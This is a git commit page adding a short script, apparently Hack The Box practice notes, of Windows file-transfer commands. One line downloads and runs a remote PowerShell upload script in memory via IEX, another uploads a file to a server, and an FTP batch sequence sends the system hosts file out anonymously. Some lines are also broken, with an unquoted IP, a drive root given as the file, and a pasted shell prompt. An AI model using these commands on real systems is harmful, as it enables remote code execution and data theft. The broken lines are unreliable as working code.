Add initial implementation of file server, mount, upload, and WebDAV scripts

This commit is contained in:
Mabe
2026-05-07 18:57:01 +02:00
commit ebaa5c86b0
6 changed files with 53 additions and 0 deletions
+12
View File
@@ -0,0 +1,12 @@
$server = 127.0.0.1
$file = C:\
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
PS C:\htb> Invoke-FileUpload -Uri http://$server/upload -File $file
echo open $server > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt